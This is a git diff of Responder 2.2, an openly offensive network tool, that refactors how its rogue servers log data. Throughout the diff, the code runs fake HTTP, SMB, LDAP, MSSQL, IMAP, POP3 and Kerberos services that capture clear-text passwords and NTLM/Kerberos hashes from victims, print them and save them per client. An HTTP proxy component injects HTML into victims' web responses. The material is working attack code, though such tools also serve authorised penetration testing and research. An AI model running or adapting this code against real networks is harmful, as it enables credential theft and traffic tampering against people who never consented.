@@ -168,13 +183,10 @@ def PacketSequence(data,client):
 
 		WPAD_Custom = WpadCustom(data,client)
 
-		outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "HTTP-Clear-Text-Password-%s.txt" % client)
-
-		if PrintData(outfile, ClearText_Auth):
-			print text("[HTTP] (Basic) Client       : %s" % client)
-			print text("[HTTP] (Basic) Username     : %s" % ClearText_Auth.split(':')[0])
-			print text("[HTTP] (Basic) Password     : %s" % ClearText_Auth.split(':')[1])
-			WriteData(outfile, ClearText_Auth, ClearText_Auth)
+		print text("[HTTP] (Basic) Client       : %s" % client)
+		print text("[HTTP] (Basic) Username     : %s" % ClearText_Auth.split(':')[0])
+		print text("[HTTP] (Basic) Password     : %s" % ClearText_Auth.split(':')[1])
+		WriteData(settings.Config.HTTPBasicLog % client, ClearText_Auth, ClearText_Auth)
 
 		if settings.Config.Force_WPAD_Auth and WPAD_Custom:
 			print text("[HTTP] WPAD (auth) file sent to %s" % client, 3, 0)
diff --git a/servers/HTTP_Proxy.py b/servers/HTTP_Proxy.py
index de8d2f5..5ec70a5 100644
--- a/servers/HTTP_Proxy.py
+++ b/servers/HTTP_Proxy.py
@@ -1,3 +1,19 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import os
 import settings
 import urlparse
@@ -19,7 +35,7 @@ def HandleGzip(Headers, Content, Payload):
 		HasBody = re.findall('(?<=<body)[^<]*', unziped)
 
 		if HasBody:
-			print text("[PROXY] Injecting into HTTP Response : %s" % color(settings.Config.HTMLToServe, 3, 1))
+			print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HTMLToServe, 3, 1))
 
 			Content = unziped.replace("<body", settings.Config.HTMLToServe +"\n<body")
 			ziped = zlib.compress(Content)
@@ -65,7 +81,7 @@ def InjectData(data):
 			HasBody = re.findall('(?<=<body)[^<]*', Content)
 			
 			if HasBody:
-				print text("[PROXY] Injecting into HTTP Response : %s" % color(settings.Config.HTMLToServe, 3, 1))
+				print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HTMLToServe, 3, 1))
 
 				NewContent = Content.replace("<body", settings.Config.HTMLToServe +"\n<body")
 				Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(NewContent)))
@@ -127,8 +143,9 @@ class ProxySock:
 		parts = resp.split()
 		
 		# Not 200 ?
-		if parts[1] != "200" :
-			raise Exception("Error response from Proxy server : %s" % resp)
+		if parts[1] != "200":
+			print color("[!] Error response from upstream proxy: %s" % resp, 1)
+			pass
 
 	# Wrap all methods of inner socket, without any change
 	def accept(self) :
@@ -168,7 +185,10 @@ class ProxySock:
 		return self.socket.recv_into(buffer, *args)
 	
 	def send(self, *args) :
-		return self.socket.send(*args)
+		try:
+			return self.socket.send(*args)
+		except:
+			pass
 	
 	def sendall(self, *args) :
 		return self.socket.sendall(*args)
diff --git a/servers/IMAP.py b/servers/IMAP.py
index 694ba77..bf67579 100644
--- a/servers/IMAP.py
+++ b/servers/IMAP.py
@@ -1,3 +1,19 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import os
 import settings
 
@@ -20,12 +36,11 @@ class IMAP(BaseRequestHandler):
 
 			if data[5:10] == "LOGIN":
 				Credentials = data[10:].strip()
-				Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "IMAP-Clear-Text-Password-%s.txt" % self.client_address[0])
-				WriteData(Outfile, Credentials, Credentials)
 
 				print text("[IMAP] Address  : %s" % color(self.client_address[0], 3, 0))
 				print text("[IMAP] Username : %s" % color(Credentials[0], 3, 0))
 				print text("[IMAP] Password : %s" % color(Credentials[1], 3, 0))
+				WriteData(settings.Config.IMAPLog % self.client_address[0], Credentials, Credentials)
 
 				## FIXME: Close connection properly
 				## self.request.send(str(ditchthisconnection()))
diff --git a/servers/Kerberos.py b/servers/Kerberos.py
index d8f0477..780461c 100644
--- a/servers/Kerberos.py
+++ b/servers/Kerberos.py
@@ -1,3 +1,19 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import os
 import struct
 import settings
@@ -106,10 +122,9 @@ class KerbTCP(BaseRequestHandler):
 			KerbHash = ParseMSKerbv5TCP(data)
 
 			if KerbHash:
-				Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSKerberos-Client-%s.txt" % self.client_address[0])
 				print text("[KERBEROS] Address       :" % self.client_address[0])
 				print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash)
-				WriteData(Outfile, KerbHash, KerbHash)
+				WriteData(settings.Config.KerberosLog % self.client_address[0], KerbHash, KerbHash)
 
 		except Exception:
 			raise
@@ -122,10 +137,9 @@ class KerbUDP(BaseRequestHandler):
 			KerbHash = ParseMSKerbv5UDP(data)
 			
 			if KerbHash:
-				Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSKerberos-Client-%s.txt" % self.client_address[0])
 				print text("[KERBEROS] Address       :" % self.client_address[0])
 				print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash)
-				WriteData(Outfile, KerbHash, KerbHash)
+				WriteData(settings.Config.KerberosLog % self.client_address[0], KerbHash, KerbHash)
 
 		except Exception:
 			raise
diff --git a/servers/LDAP.py b/servers/LDAP.py
index 4b2bc44..7f63ed4 100644
--- a/servers/LDAP.py
+++ b/servers/LDAP.py
@@ -1,3 +1,19 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import os
 import struct
 import settings
@@ -37,14 +53,13 @@ def ParseLDAPHash(data, client):
 		UserLen      = struct.unpack('<H',data[80:82])[0]
 		UserOffset   = struct.unpack('<H',data[82:84])[0]
 		User         = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
-		
-		WriteHash    = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
-		Outfile      = os.path.join(settings.Config.ResponderPATH, 'logs', "LDAP-NTLMv1-%s.txt" % client)
 
 		print text("[LDAP] NTLMv1 Address  : %s" % client)
 		print text("[LDAP] NTLMv1 Username : %s\\%s" % (Domain, User))
 		print text("[LDAP] NTLMv1 Hash     : %s" % NtHash)
-		WriteData(Outfile, WriteHash, User+"::"+Domain)
+
+		WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
+		WriteData(settings.Config.LDAPNTLMv1Log % client, WriteHash, User+"::"+Domain)
 	
 	if LMhashLen < 2 :
 		print text("[LDAP] Ignoring anonymous NTLM authentication")
@@ -81,15 +96,11 @@ def ParseLDAPPacket(data, client):
 				PassLen  = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
 				Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
 
-				outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "LDAP-Clear-Text-Password-%s.txt" % client)
-				WritePass = 'LDAP: %s: %s:%s' % (client, UserDomain, Password)
-
-				if PrintData(outfile, WritePass):
-					print text("[LDAP] Client   : %s" % color(client, 3, 0))
-					print text("[LDAP] Username : %s" % color(UserDomain, 3, 0))
-					print text("[LDAP] Password : %s" % color(Password, 3, 0))
-		
-					WriteData(outfile, WritePass, WritePass)
+				print text("[LDAP] Client   : %s" % color(client, 3, 0))
+				print text("[LDAP] Username : %s" % color(UserDomain, 3, 0))
+				print text("[LDAP] Password : %s" % color(Password, 3, 0))
+				WritePass = '%s: %s:%s' % (client, UserDomain, Password)
+				WriteData(settings.Config.LDAPClearLog % client, WritePass, WritePass)
 			
 			if sasl == "\xA3":
 				Buffer = ParseNTLM(data,client)
@@ -100,7 +111,7 @@ def ParseLDAPPacket(data, client):
 			return Buffer
 		
 		else:
-			print '[LDAP]Operation not supported'
+			print text('[LDAP] Operation not supported')
 
 # LDAP Server class
 class LDAP(BaseRequestHandler):
diff --git a/servers/MSSQL.py b/servers/MSSQL.py
index a4b23fd..0aca262 100644
--- a/servers/MSSQL.py
+++ b/servers/MSSQL.py
@@ -1,3 +1,19 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import os
 import struct
 import settings
@@ -58,28 +74,20 @@ def ParseSQLHash(data, client):
 	User          = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
 
 	if NthashLen == 24:
-		outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSSQL-NTLMv1-Client-%s.txt" % client)
-		
-		if PrintData(outfile,User+"::"+Domain):
-			print text("[MSSQL] NTLMv1 Client   : %s" % color(client, 3, 0))
-			print text("[MSSQL] NTLMv1 Domain   : %s" % color(Domain, 3, 0))
-			print text("[MSSQL] NTLMv1 User     : %s" % color(User, 3, 0))
-			print text("[MSSQL] NTLMv1 Hash     : %s" % color(LMHash+":"+NTHash, 3, 0))
-
-			WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
-			WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal, User+"::"+Domain)
+		print text("[MSSQL] NTLMv1 Client   : %s" % color(client, 3, 0))
+		print text("[MSSQL] NTLMv1 Domain   : %s" % color(Domain, 3, 0))
+		print text("[MSSQL] NTLMv1 User     : %s" % color(User, 3, 0))
+		print text("[MSSQL] NTLMv1 Hash     : %s" % color(LMHash+":"+NTHash, 3, 0))
+		WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
+		WriteData(settings.Config.MSSQLNTLMv1Log % client, User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal, User+"::"+Domain)
 
 	if NthashLen > 60:
-		outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSSQL-NTLMv2-Client-%s.txt" % client)
-		
-		if PrintData(outfile,User+"::"+Domain):
-			print text("[MSSQL] NTLMv1 Client   : %s" % color(client, 3, 0))
-			print text("[MSSQL] NTLMv1 Domain   : %s" % color(Domain, 3, 0))
-			print text("[MSSQL] NTLMv1 User     : %s" % color(User, 3, 0))
-			print text("[MSSQL] NTLMv1 Hash     : %s" % color(NTHash[:32]+":"+NTHash[32:], 3, 0))
-
-			WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
-			WriteData(outfile,WriteHash,User+"::"+Domain)
+		print text("[MSSQL] NTLMv2 Client   : %s" % color(client, 3, 0))
+		print text("[MSSQL] NTLMv2 Domain   : %s" % color(Domain, 3, 0))
+		print text("[MSSQL] NTLMv2 User     : %s" % color(User, 3, 0))
+		print text("[MSSQL] NTLMv2 Hash     : %s" % color(NTHash[:32]+":"+NTHash[32:], 3, 0))
+		WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
+		WriteData(settings.Config.MSSQLNTLMv2Log % client, WriteHash,User+"::"+Domain)
 
 def ParseSqlClearTxtPwd(Pwd):
 	Pwd = map(ord,Pwd.replace('\xa5',''))
@@ -90,18 +98,15 @@ def ParseSqlClearTxtPwd(Pwd):
 
 def ParseClearTextSQLPass(data, client):
 
-	TDS       = TDS_Login_Packet(data)
-	outfile   = os.path.join(settings.Config.ResponderPATH, 'logs', "MSSQL-PlainText-Password-%s.txt" % client)
+	TDS = TDS_Login_Packet(data)
+
+	print text("[MSSQL] Client    : %s (%s)" % (color(client, 3, 0) , color(TDS.ClientName, 3, 0)))
+	print text("[MSSQL] Server    : %s" % color(TDS.ServerName, 3, 0))
+	print text("[MSSQL] Database  : %s" % color(TDS.DatabaseName, 3, 0))
+	print text("[MSSQL] Username  : %s" % color(TDS.UserName, 3, 0))
+	print text("[MSSQL] Password  : %s" % color(ParseSqlClearTxtPwd(TDS.Password), 3, 0))
 	WritePass = TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password)
-
-	if PrintData(outfile,WritePass):
-		print text("[MSSQL] Client    : %s (%s)" % (color(client, 3, 0) , color(TDS.ClientName, 3, 0)))
-		print text("[MSSQL] Server    : %s" % color(TDS.ServerName, 3, 0))
-		print text("[MSSQL] Database  : %s" % color(TDS.DatabaseName, 3, 0))
-		print text("[MSSQL] Username  : %s" % color(TDS.UserName, 3, 0))
-		print text("[MSSQL] Password  : %s" % color(ParseSqlClearTxtPwd(TDS.Password), 3, 0))
-
-		WriteData(outfile, WritePass, WritePass)
+	WriteData(settings.Config.MSSQLClearLog % client, WritePass, WritePass)
 
 # MSSQL Server class
 class MSSQL(BaseRequestHandler):
diff --git a/servers/POP3.py b/servers/POP3.py
index 9ae4d62..7944b94 100644
--- a/servers/POP3.py
+++ b/servers/POP3.py
@@ -1,3 +1,19 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import os
 import settings
 
@@ -24,16 +40,15 @@ class POP3(BaseRequestHandler):
 
 			if data[0:4] == "PASS":
 				Pass = data[5:].replace("\r\n","")
-				Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "POP3-Clear-Text-Password-%s.txt" % self.client_address[0])
-				WriteData(Outfile,User+":"+Pass, User+":"+Pass)
 
-				text("[POP3] Address  : %s" % self.client_address[0])
-				text("[POP3] Username : %s" % User)
-				text("[POP3] Password : %s" % Pass)
+				print text("[POP3] Address  : %s" % self.client_address[0])
+				print text("[POP3] Username : %s" % User)
+				print text("[POP3] Password : %s" % Pass)
+				WriteData(settings.Config.POP3Log % self.client_address[0], User+":"+Pass, User+":"+Pass)
 
 				data = self.SendPacketAndRead()
 
-			else :
+			else:
 				data = self.SendPacketAndRead()
 
 		except Exception:
diff --git a/servers/SMB.py b/servers/SMB.py
index d2e39dd..f2f69f2 100644
--- a/servers/SMB.py
+++ b/servers/SMB.py
@@ -1,3 +1,19 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import struct
 import settings
 
@@ -108,10 +124,8 @@ def ParseSMBHash(data,client):
 		print text("[SMB] NTLMv1 (SSP) Address  : %s" % client)
 		print text("[SMB] NTLMv1 (SSP) Username : %s\\%s" % (Domain, Username))
 		print text("[SMB] NTLMv1 (SSP) Hash     : %s" % SMBHash)
-
-		outfile = "./logs/SMB-NTLMSSPv1-Client-"+client+".txt"
 		WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
-		WriteData(outfile, WriteHash, Username+"::"+Domain)
+		WriteData(settings.Config.SMBNTLMSSPv1Log % client, WriteHash, Username+"::"+Domain)
 
 	if NthashLen > 60:
 		SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
@@ -125,56 +139,42 @@ def ParseSMBHash(data,client):
 		print text("[SMB] NTLMv2 (SSP) Address  : %s" % client)
 		print text("[SMB] NTLMv2 (SSP) Username : %s\\%s" % (Domain, Username))
 		print text("[SMB] NTLMv2 (SSP) Hash     : %s" % SMBHash)
-
-		outfile = "./logs/SMB-NTLMSSPv2-Client-"+client+".txt"
 		WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
-		WriteData(outfile, WriteHash, Username+"::"+Domain)
+		WriteData(settings.Config.SMBNTLMSSPv2Log % client, WriteHash, Username+"::"+Domain)
 
 # Parse SMB NTLMv1/v2
-def ParseLMNTHash(data,client):
+def ParseLMNTHash(data, client):
 
 	LMhashLen = struct.unpack('<H',data[51:53])[0]
 	NthashLen = struct.unpack('<H',data[53:55])[0]
 	Bcc = struct.unpack('<H',data[63:65])[0]
+	Username, Domain = tuple([e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]])
 
 	if NthashLen > 25:
-		FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen]
-		LmHash = FullHash.encode('hex')[:32].upper()
-		NtHash = FullHash.encode('hex')[32:].upper()
-
-		pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
-		var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
-		Username, Domain = tuple(var)
+		FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
+		LmHash = FullHash[:32].upper()
+		NtHash = FullHash[32:].upper()
 	
 		print text("[SMB] NTLMv2 Address  : %s" % client)
-		print text("[SMB] NTLMv2 Username : %s\\%s" % (Domain, User))
+		print text("[SMB] NTLMv2 Username : %s\\%s" % (Domain, Username))
 		print text("[SMB] NTLMv2 Hash     : %s" % NtHash)
-		
-		outfile = "./logs/SMB-NTLMv2-Client-"+client+".txt"
 		WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
-		WriteData(outfile, WriteHash, Username+"::"+Domain)
+		WriteData(settings.Config.SMBNTLMv2Log % client, WriteHash, Username+"::"+Domain)
 
 	if NthashLen == 24:
 		NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
 		LmHash = data[65:65+LMhashLen].encode('hex').upper()
 
-		pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
-		var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
-		Username, Domain = tuple(var)
-
 		print text("[SMB] NTLMv1 Address  : %s" % client)
-		print text("[SMB] NTLMv1 Username : %s\\%s" % (Domain, User))
+		print text("[SMB] NTLMv1 Username : %s\\%s" % (Domain, Username))
 		print text("[SMB] NTLMv1 Hash     : %s" % NtHash)
-
-		outfile = "./logs/SMB-NTLMv1-Client-"+client+".txt"
 		WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
-		WriteData(outfile, WriteHash, Username+"::"+Domain)
+		WriteData(settings.Config.SMBNTLMv1Log % client, WriteHash, Username+"::"+Domain)
 
-def IsNT4ClearTxt(data):
+def IsNT4ClearTxt(data, client):
 	HeadLen = 36
-	Flag2 = data[14:16]
 
-	if Flag2 == "\x03\x80":
+	if data[14:16] == "\x03\x80":
 		SmbData = data[HeadLen+14:]
 		WordCount = data[HeadLen]
 		ChainedCmdOffset = data[HeadLen+1]
@@ -186,7 +186,8 @@ def IsNT4ClearTxt(data):
 
 				Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
 				User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
-				print text("[SMB] Clear Text Credentials: %s:%s" %(User,Password))
+				print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
+				WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
 
 # SMB Server class, NTLMSSP
 class SMB1(BaseRequestHandler):
@@ -198,7 +199,6 @@ class SMB1(BaseRequestHandler):
 				self.request.settimeout(1)
 
 				if len(data) < 1:
-					print hexdump(data)
 					break
 
 				##session request 139
@@ -222,7 +222,7 @@ class SMB1(BaseRequestHandler):
 
 				##Session Setup AndX Request
 				if data[8:10] == "\x73\x00":
-					IsNT4ClearTxt(data)
+					IsNT4ClearTxt(data, self.client_address[0])
 					
 					Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
 					Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
diff --git a/settings.py b/settings.py
index 3673102..43acf8b 100644
--- a/settings.py
+++ b/settings.py
@@ -1,7 +1,24 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import os
 import sys
 import socket
 import utils
+import logging
 import ConfigParser
 
 __version__ = 'Responder 2.2'
@@ -10,7 +27,7 @@ class Settings:
 	
 	def __init__(self):
 		self.ResponderPATH = os.path.dirname(__file__)
-		self.Responder_IP = '0.0.0.0'
+		self.Bind_To = '0.0.0.0'
 
 	def __str__(self):
 		ret = 'Settings class:\n'
@@ -22,10 +39,41 @@ class Settings:
 	def toBool(self, str):
 		return True if str.upper() == 'ON' else False
 
+	def ExpandIPRanges(self):
+		def expand_ranges(lst):
+			ret = []
+			for l in lst:
+				tab = l.split('.')
+				x = {}
+				i = 0
+				for byte in tab:
+					if '-' not in byte:
+						x[i] = x[i+1] = int(byte)
+					else:
+						b = byte.split('-')
+						x[i] = int(b[0])
+						x[i+1] = int(b[1])
+					i += 2
+				for a in range(x[0], x[1]+1):
+					for b in range(x[2], x[3]+1):
+						for c in range(x[4], x[5]+1):
+							for d in range(x[6], x[7]+1):
+								ret.append('%d.%d.%d.%d' % (a, b, c, d))
+			return ret
+
+		self.RespondTo = expand_ranges(self.RespondTo)
+		self.RespondToName = expand_ranges(self.RespondToName)
+		self.DontRespondTo = expand_ranges(self.DontRespondTo)
+		self.DontRespondToName = expand_ranges(self.DontRespondToName)
+		self.RespondTo = expand_ranges(self.RespondTo)
+		self.RespondToName = expand_ranges(self.RespondToName)
+		self.DontRespondTo = expand_ranges(self.DontRespondTo)
+		self.DontRespondToName = expand_ranges(self.DontRespondToName)
+
 	def populate(self, options):
 
-		if options.Responder_IP is None:
-			print utils.color("Error: -i mandatory option is missing", 1, 0)
+		if options.Interface is None:
+			print utils.color("Error: -I <if> mandatory option is missing", 1)
 			sys.exit(-1)
 
 		# Config parsing
@@ -33,82 +81,118 @@ class Settings:
 		config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
 
 		# Servers
-		self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
-		self.SSL_On_Off	 = self.toBool(config.get('Responder Core', 'HTTPS'))
-		self.SMB_On_Off	 = self.toBool(config.get('Responder Core', 'SMB'))
-		self.SQL_On_Off	 = self.toBool(config.get('Responder Core', 'SQL'))
-		self.FTP_On_Off	 = self.toBool(config.get('Responder Core', 'FTP'))
-		self.POP_On_Off	 = self.toBool(config.get('Responder Core', 'POP'))
-		self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP'))
-		self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP'))
-		self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
-		self.DNS_On_Off	 = self.toBool(config.get('Responder Core', 'DNS'))
-		self.Krb_On_Off	 = self.toBool(config.get('Responder Core', 'Kerberos'))
+		self.HTTP_On_Off     = self.toBool(config.get('Responder Core', 'HTTP'))
+		self.SSL_On_Off      = self.toBool(config.get('Responder Core', 'HTTPS'))
+		self.SMB_On_Off      = self.toBool(config.get('Responder Core', 'SMB'))
+		self.SQL_On_Off      = self.toBool(config.get('Responder Core', 'SQL'))
+		self.FTP_On_Off      = self.toBool(config.get('Responder Core', 'FTP'))
+		self.POP_On_Off      = self.toBool(config.get('Responder Core', 'POP'))
+		self.IMAP_On_Off     = self.toBool(config.get('Responder Core', 'IMAP'))
+		self.SMTP_On_Off     = self.toBool(config.get('Responder Core', 'SMTP'))
+		self.LDAP_On_Off     = self.toBool(config.get('Responder Core', 'LDAP'))
+		self.DNS_On_Off      = self.toBool(config.get('Responder Core', 'DNS'))
+		self.Krb_On_Off      = self.toBool(config.get('Responder Core', 'Kerberos'))
 
-		# Log
-		self.SessionLog	     = config.get('Responder Core', 'SessionLog')
-		self.Log1Filename    = os.path.join(self.ResponderPATH, self.SessionLog)
-		self.Log2Filename    = os.path.join(self.ResponderPATH, 'logs', 'LLMNR-NBT-NS.log')
-		self.AnalyzeFilename = os.path.join(self.ResponderPATH, 'logs', 'Analyze-LLMNR-NBT-NS.log')
+		# Log Files
+		self.SessionLogFile      = os.path.join(self.ResponderPATH, config.get('Responder Core', 'SessionLog'))
+		self.PoisonersLogFile    = os.path.join(self.ResponderPATH, config.get('Responder Core', 'PoisonersLog'))
+		self.AnalyzeLogFile      = os.path.join(self.ResponderPATH, config.get('Responder Core', 'AnalyzeLog'))
+
+		self.FTPLog          = os.path.join(self.ResponderPATH, 'logs', 'FTP-Clear-Text-Password-%s.txt')
+		self.IMAPLog         = os.path.join(self.ResponderPATH, 'logs', 'IMAP-Clear-Text-Password-%s.txt')
+		self.POP3Log         = os.path.join(self.ResponderPATH, 'logs', 'POP3-Clear-Text-Password-%s.txt')
+		self.HTTPBasicLog    = os.path.join(self.ResponderPATH, 'logs', 'HTTP-Clear-Text-Password-%s.txt')
+		self.LDAPClearLog    = os.path.join(self.ResponderPATH, 'logs', 'LDAP-Clear-Text-Password-%s.txt')
+		self.SMBClearLog     = os.path.join(self.ResponderPATH, 'logs', 'SMB-Clear-Text-Password-%s.txt')
+		self.MSSQLClearLog   = os.path.join(self.ResponderPATH, 'logs', 'MSSQL-Clear-Text-Password-%s.txt')
+
+		self.LDAPNTLMv1Log   = os.path.join(self.ResponderPATH, 'logs', 'LDAP-NTLMv1-Client-%s.txt')
+		self.HTTPNTLMv1Log   = os.path.join(self.ResponderPATH, 'logs', 'HTTP-NTLMv1-Client-%s.txt')
+		self.HTTPNTLMv2Log   = os.path.join(self.ResponderPATH, 'logs', 'HTTP-NTLMv2-Client-%s.txt')
+		self.KerberosLog     = os.path.join(self.ResponderPATH, 'logs', 'MSKerberos-Client-%s.txt')
+		self.MSSQLNTLMv1Log  = os.path.join(self.ResponderPATH, 'logs', 'MSSQL-NTLMv1-Client-%s.txt')
+		self.MSSQLNTLMv2Log  = os.path.join(self.ResponderPATH, 'logs', 'MSSQL-NTLMv2-Client-%s.txt')
+		self.SMBNTLMv1Log    = os.path.join(self.ResponderPATH, 'logs', 'SMB-NTLMv1-Client-%s.txt')
+		self.SMBNTLMv2Log    = os.path.join(self.ResponderPATH, 'logs', 'SMB-NTLMv2-Client-%s.txt')
+		self.SMBNTLMSSPv1Log = os.path.join(self.ResponderPATH, 'logs', 'SMB-NTLMSSPv1-Client-%s.txt')
+		self.SMBNTLMSSPv2Log = os.path.join(self.ResponderPATH, 'logs', 'SMB-NTLMSSPv2-Client-%s.txt')
 
 		# HTTP Options
